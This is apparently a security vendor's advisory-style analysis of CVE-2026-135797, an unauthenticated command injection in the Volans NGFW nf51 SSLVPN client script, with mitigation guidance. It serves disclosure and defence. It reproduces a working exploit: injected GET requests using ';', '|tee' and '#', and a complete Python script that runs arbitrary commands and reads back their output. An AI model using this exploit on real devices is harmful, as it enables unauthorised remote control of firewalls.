Automated Threat Modeling

Brief Summary: Volans NGFW CVE-2026-135797 Unauthenticated OS Command Injection in SSLVPN Client (with PoC)

A summary of CVE-2026-135797, an unauthenticated OS command injection in the Volans NGFW SSLVPN client script. Includes a public proof of concept and researcher remediation guidance.

CVE Analysis

7 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-24

Brief Summary: Volans NGFW CVE-2026-135797 Unauthenticated OS Command Injection in SSLVPN Client (with PoC)

Introduction

A single unauthenticated HTTP GET request to a Volans NGFW appliance reaches an operating system shell, which turns a perimeter security device into a remote command execution target. On networks that run the Volans NGFW (model nf51) for SSLVPN and internet behavior management, the SSLVPN client script exposes a command injection path that needs no session, cookie, or token.

Volans, linked by the disclosure to Feiyuxing Technology / ADSLR (adslr.com), makes firewall and internet behavior management gateway appliances. The affected device is the NGFW Next-Generation Firewall, model nf51, internal version r5.1, firmware image nf51.bin. The reviewed material does not substantiate deployment counts or market position, so this analysis stays with the technical facts in the public records.

Technical Information

The vulnerable file is /sslvpn/sslvpn_client.php, served under the web document root. The script does no authentication of its own and is not protected by the lighttpd url.access-deny prefixes or any mod_auth rule, so it is reachable directly over the web management port (80/tcp by default).

When the request parameter client=logoImg is supplied, the script interpolates the user controlled img GET parameter directly into a shell command passed to PHP's exec() without shell quoting:

if($_GET['client']=='logoImg'){ if($_GET['img']) $img = formatpost($_GET['img']); // 52 exec('cp -f /mnt/'.$img.' /usr/local/webui/sslvpn/public/images/'); // 54 <- SINK echo $img; // 55 <- echo oracle return; }

The only filter applied is formatpost() (defined at webui/include/func.inc:105), which performs HTML output escaping via htmlspecialchars() with the PHP default ENT_COMPAT. That escaping only neutralizes &, <, >, and ". Shell metacharacters such as ;, |, backtick, $, newline (%0A), ', space, #, (, and ) all survive into the shell context. Because only >/< redirection and &/" are blocked, the author works around the missing > by using |tee (and also |dd of=, cp, sed -i).

The critical boundary here is between an HTTP parameter and an operating system shell. The formatpost() processing is output escaping meant for HTML rendering, not shell input handling, so it does not stop shell syntax in the parameter from influencing command execution.

Attack flow

  1. The attacker sends a single HTTP GET to /sslvpn/sslvpn_client.php with client=logoImg and an img value containing shell syntax. No credentials, cookie, session token, or user interaction are required.
  2. The script concatenates the img value into the cp command, where injected metacharacters execute additional commands.
  3. The attacker uses |tee to write command output into the publicly served images directory, then uses # to comment out the trailing fixed path of the sink command.
  4. A second GET to the written file in the served images directory retrieves the command output, which forms an output oracle.

The researcher recovered the actual device side command line from the kernel to confirm the injection:

sh -c cp -f /mnt/client.ovpn;cp /proc/$$/cmdline /tmp/fyxsec/SINK_CMDLINE.bin;# /usr/local/webui/sslvpn/public/images/

Proof of Concept

A public, fully reproducible PoC exists. It was published in the nenghun/IoT GitHub repository and adopted as the official reference by VulDB (CNA), Rapid7, and cvefeed.io.

Step 1: inject the command and write output into the served document root.

GET /sslvpn/sslvpn_client.php?client=logoImg&img=x;id|tee%20/usr/local/webui/sslvpn/public/images/PWN_SEMI.txt;# HTTP/1.1 Host: <target>

Here ; acts as a real command separator, id executes, its output is written via |tee into the publicly served images directory, and # comments out the sink's trailing fixed path.

Step 2: retrieve the command output.

GET /sslvpn/public/images/PWN_SEMI.txt HTTP/1.1 Host: <target>

Observed response body in the reproduction environment:

uid=0(root) gid=0(root) groups=0(root)

The author notes the uid=0(root) marker is partly an artifact of starting the reproduction PHP service with sudo, not definitive proof the device itself runs the web service as root.

Full Python exploit from the disclosure:

#!/usr/bin/env python3 # Volans NGFW sslvpn_client.php unauthenticated command injection PoC/EXP # Usage: python exp.py "id" run one command and read back output (> is escaped, use |tee) import sys, requests, urllib.parse TARGET = "http://<device-ip>" # real device: web management port def run(cmd): inner = "x;%s|tee /usr/local/webui/sslvpn/public/images/pwn.txt;#" % cmd q = urllib.parse.quote(inner, safe="") # URL-encode the whole payload (; | space # all encoded) requests.get("%s/sslvpn/sslvpn_client.php?client=logoImg&img=%s" % (TARGET, q), timeout=10) r = requests.get("%s/sslvpn/public/images/pwn.txt" % TARGET, timeout=10) return r.text if __name__ == "__main__": cmd = " ".join(sys.argv[1:]) if len(sys.argv) > 1 else "id" print(run(cmd))

The author validated five independent shell metacharacter constructs (;, |tee, backtick, $( ), and newline %0A), each of which dropped a marker file. Together they show reliable unauthenticated remote arbitrary command execution through a single HTTP GET, with a working command output retrieval oracle.

Affected Systems and Versions

  • Product: Volans NGFW Next-Generation Firewall
  • Model: nf51
  • Internal version: r5.1 (source tree NGFW_R5.0, firmware image nf51.bin)
  • Vulnerable component: SSLVPN Client, file sslvpn/sslvpn_client.php, function exec

The affected version established by the records is r5.1. A broader affected version range is not established by the reviewed sources. The disclosure also references a filesystem date of September 1, 2021, which should not be confused with a verified firmware release date. NVD lists November 24, 2026 as the publication date.

Mitigation Strategies

The reviewed records do not identify a vendor released patch or fixed firmware version. VulDB states no countermeasures or mitigation are known and suggests that replacement with an alternative product may be considered. Separately, the original disclosure supplies concrete researcher recommendations, which are proposed repairs rather than confirmed vendor fixes:

  • Require a valid session before the operation, since the vulnerable script currently accepts unauthenticated requests.
  • Move the file copy to an authenticated backend endpoint.
  • Eliminate shell command concatenation and use a direct file operation such as copy().
  • Apply a filename allowlist to the supplied image name.
  • Confine resolved paths to /mnt/ using realpath().
  • Audit exec, system, and popen call sites for similar unsafe command construction.

More HTML style filtering does not help, because the failure case is formatpost() applying HTML output escaping where shell input handling is needed. The source supported direction is to remove the shell concatenation, enforce the documented filename and path restrictions, and require authentication for the operation.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization